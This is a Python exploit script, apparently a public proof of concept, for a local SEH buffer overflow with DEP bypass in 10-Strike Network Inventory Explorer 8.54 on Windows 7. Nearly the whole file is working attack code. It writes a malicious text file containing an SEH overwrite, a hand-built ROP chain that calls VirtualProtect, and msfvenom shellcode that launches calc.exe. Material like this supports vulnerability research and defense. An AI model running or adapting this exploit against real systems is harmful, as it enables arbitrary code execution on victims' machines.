10-Strike Network Inventory Explorer 8.54 Local Buffer Overflow

`#!/usr/bin/python  
  
# Exploit Author: bzyo  
# Twitter: @bzyo_  
# Exploit Title: 10-Strike Network Inventory Explorer 8.54 - Local Buffer Overflow (SEH)(DEP Bypass)  
# Date: 01-29-19  
# Vulnerable Software: 10-Strike Network Inventory Explorer 8.54  
# Vendor Homepage: https://www.10-strike.com/  
# Version: 8.54   
# Software Link 1: https://www.10-strike.com/networkinventoryexplorer/network-inventory-setup.exe  
# Tested Windows 7 SP1 x86  
  
# PoC  
# 1. run script  
# 2. open app, select Computers tab   
# 3. click on 'From Text File'  
# 4. choose 10strike.txt that was generated   
# 5. pop calc  
  
# manually created ropchain based on mona.py 'rop.txt' and 'ropfunc.txt' finds  
# practicing dep bypass by not using auto generated mona.py ropchains  
  
# original seh poc from Hashim Jawad, EDB: 44838  
# notes from author state offset is based upon username size, username for poc is 'user'  
  
# badchars; \x00\x0a\x0d\x2f  
  
import struct  
  
filename = "10strike.txt"  
  
junk = "\x41" * 209  
  
seh = struct.pack('<L',0x10013e29)  
  
fill = "\x42"*12  
  
#VirtualProtect()  
#ESI = ptr to VirtualProtect()  
rop = struct.pack('<L',0x7c3762b3) # POP EAX # RETN   
rop += struct.pack('<L',0x61e9b30c) # ptr to &VirtualProtect()   
rop += struct.pack('<L',0x1001872e) # MOV EAX,DWORD PTR DS:[EAX] # RETN   
rop += struct.pack('<L',0x100101f2) # POP EBX # RETN   
rop += struct.pack('<L',0xffffffff) #  
rop += struct.pack('<L',0x100186d1) # ADD EBX,EAX # XOR EAX,EAX # RETN  
rop += struct.pack('<L',0x7c358a01) # INC EBX # XOR EAX,EAX # RETN   
rop += struct.pack('<L',0x7c3501d5) # POP ESI # RETN  
rop += struct.pack('<L',0xffffffff) #  
rop += struct.pack('<L',0x61e8509c) # ADD ESI,EBX # RETN   
rop += struct.pack('<L',0x7c370464) # INC ESI # RETN   
  
#EBP = ReturnTo (ptr to jmp esp)  
#mona.py jmp -r esp -cpb '\x00\x0a\x0d'  
rop += struct.pack('<L',0x61e05892) # POP EBP # RETN   
rop += struct.pack('<L',0x61e053a9) # push esp # ret  
  
#EBX = dwSize x201  
rop += struct.pack('<L',0x7c348495) # POP EAX # RETN   
rop += struct.pack('<L',0xfffffdff) #   
rop += struct.pack('<L',0x7c351e05) # NEG EAX # RETN   
rop += struct.pack('<L',0x100101f2) # POP EBX # RETN   
rop += struct.pack('<L',0xffffffff) #   
rop += struct.pack('<L',0x61e0579d) # INC EBX # RETN   
rop += struct.pack('<L',0x100186d1) # ADD EBX,EAX # XOR EAX,EAX # RETN   
  
#EDX = NewProtect (0x40)  
rop += struct.pack('<L',0x7c344160) # POP EDX # RETN   
rop += struct.pack('<L',0xffffffc0) #   
rop += struct.pack('<L',0x7c351eb1) # NEG EDX # RETN   
  
#ECX = lpOldProtect (ptr to W address)  
rop += struct.pack('<L',0x7c37157a) # POP ECX # RETN  
rop += struct.pack('<L',0x61e894c0) # &Writable location sqlite3  
  
#EDI = ROP NOP (RETN)  
rop += struct.pack('<L',0x1001ab53) # POP EDI # RETN  
rop += struct.pack('<L',0x1001ab54) # ROP-NOP   
  
#EAX = NOP (0x90909090)  
rop += struct.pack('<L',0x7c3647cc) # POP EAX # RETN   
rop += struct.pack('<L',0x90909090) # nop  
  
#PUSHAD  
rop += struct.pack('<L',0x10019094) # PUSHAD # RETN   
  
nops = "\x90"*10  
  
#msfvenom -p windows/exec cmd=calc.exe -b '\x00\x0a\x0d\x3a\x5c' -f python  
#Payload size: 220 bytes  
calc = ""  
calc += "\xbb\x29\x86\xf9\x07\xda\xdb\xd9\x74\x24\xf4\x5e\x31"  
calc += "\xc9\xb1\x31\x31\x5e\x13\x83\xee\xfc\x03\x5e\x26\x64"  
calc += "\x0c\xfb\xd0\xea\xef\x04\x20\x8b\x66\xe1\x11\x8b\x1d"  
calc += "\x61\x01\x3b\x55\x27\xad\xb0\x3b\xdc\x26\xb4\x93\xd3"  
calc += "\x8f\x73\xc2\xda\x10\x2f\x36\x7c\x92\x32\x6b\x5e\xab"  
calc += "\xfc\x7e\x9f\xec\xe1\x73\xcd\xa5\x6e\x21\xe2\xc2\x3b"  
calc += "\xfa\x89\x98\xaa\x7a\x6d\x68\xcc\xab\x20\xe3\x97\x6b"  
calc += "\xc2\x20\xac\x25\xdc\x25\x89\xfc\x57\x9d\x65\xff\xb1"  
calc += "\xec\x86\xac\xff\xc1\x74\xac\x38\xe5\x66\xdb\x30\x16"  
calc += "\x1a\xdc\x86\x65\xc0\x69\x1d\xcd\x83\xca\xf9\xec\x40"  
calc += "\x8c\x8a\xe2\x2d\xda\xd5\xe6\xb0\x0f\x6e\x12\x38\xae"  
calc += "\xa1\x93\x7a\x95\x65\xf8\xd9\xb4\x3c\xa4\x8c\xc9\x5f"  
calc += "\x07\x70\x6c\x2b\xa5\x65\x1d\x76\xa3\x78\x93\x0c\x81"  
calc += "\x7b\xab\x0e\xb5\x13\x9a\x85\x5a\x63\x23\x4c\x1f\x9b"  
calc += "\x69\xcd\x09\x34\x34\x87\x08\x59\xc7\x7d\x4e\x64\x44"  
calc += "\x74\x2e\x93\x54\xfd\x2b\xdf\xd2\xed\x41\x70\xb7\x11"  
calc += "\xf6\x71\x92\x71\x99\xe1\x7e\x58\x3c\x82\xe5\xa4"  
  
pad = "\x45"*(3000 - len(junk + seh + fill + rop + nops + calc))  
  
buffer = junk + seh + fill + rop + nops + calc + pad  
  
textfile = open(filename , 'w')  
textfile.write(buffer)  
textfile.close()  
`